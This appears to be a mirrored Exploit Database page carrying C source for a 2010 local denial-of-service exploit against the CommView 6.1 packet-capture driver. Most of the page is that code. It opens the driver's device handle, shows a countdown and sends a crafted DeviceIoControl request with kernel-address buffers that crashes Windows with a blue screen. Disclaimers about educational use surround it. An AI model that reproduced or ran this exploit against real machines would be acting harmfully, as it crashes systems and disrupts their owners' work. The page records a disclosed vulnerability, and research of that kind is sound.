CommView 6.1 (Build 636) – Local Blue Screen of Death (Denial of Service)

• Exploit Database
• 107 阅读

• 作者： p4r4N0ID
  日期： 2010-04-23
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/12356/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113

  /*-------------------------------------------------------------------------*/ /** # Exploit Title : CommView Version 6.1 (Build 636) Local Denial Of Service (BSOD) # Corelan : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-030 # Date: April 23rd, 2010 # Author: p4r4N0ID (T.B) # Bug found by: p4r4N0ID (T.B) # Software Link : http://www.tamos.com/download/main/ # Version : Version 6.1 (Build 636) # OS: Windows # Tested on : Windows XP sp2 En (VMWARE) # Type of vuln: DoS # Greetz to : Corelan Security Team # http://www.corelan.be:8800/index.php/security/corelan-team-members/ # # Script provided &apos;as is&apos;, without any warranty. # Use for educational purposes only. # Do not use this code to do anything illegal ! # Corelan does not want anyone to use this script # for malicious and/or illegal purposes. # Corelan cannot be held responsible for any illegal use. # # Note : you are not allowed to edit/modify this code. # If you do, Corelan cannot be held responsible for any damages this may cause. # # **/ /*--------------------------------------------------------------------------*/   #include <windows.h> #include <stdio.h>     VOID ShowError() { LPVOID lpMsgBuf; FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL); MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0); exit(1); }     int __cdecl main( int argc , char * argv[]) { HANDLE hDevice; DWORD junk; int i = 10;   system("cls"); printf ("|------------------------------------------------------------------|"); printf ("| __ __|"); printf ("| _________________/ /___ _____ / /________ _____ ___|"); printf ("|/ ___/ __ \/ ___/ _ \/ / __ <code>/ __ \ / __/ _ \/ __ </code>/ __ `__ \ |"); printf ("| / /__/ /_/ / //__/ / /_/ / / / // /_/__/ /_/ / / / / / / |"); printf ("| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/|"); printf ("||"); printf ("| http://www.corelan.be:8800 |"); printf ("|security@corelan.be |"); printf ("||"); printf ("|-------------------------------------------------[ EIP Hunters ]--|"); printf ("[+] CommView Local Denial Of Service (BSOD) - by p4r4N0ID(T.B)");     //CHANGE the GUID so it match your device name //find it in:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{GUID} hDevice = CreateFileA("\\\\.\\CV2K_{916BB164-6D0D-45C0-B6C2-79B42A522C17}", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);     if (hDevice == INVALID_HANDLE_VALUE) { ShowError(); return EXIT_FAILURE; }     printf("\n\n\t\t[!] Started Countdown");   for(i;i>=1;i--) { printf("\r -[ %d ]- ",i);   if(i==1) printf("\n[+] Bye Bye, BOOM!!!"); Sleep(1000); }   DeviceIoControl(hDevice, 0x00002578, (LPVOID) 0x80000001, 0, (LPVOID) 0x80000002, 0, &junk, (LPOVERLAPPED)NULL);     return EXIT_SUCCESS;     }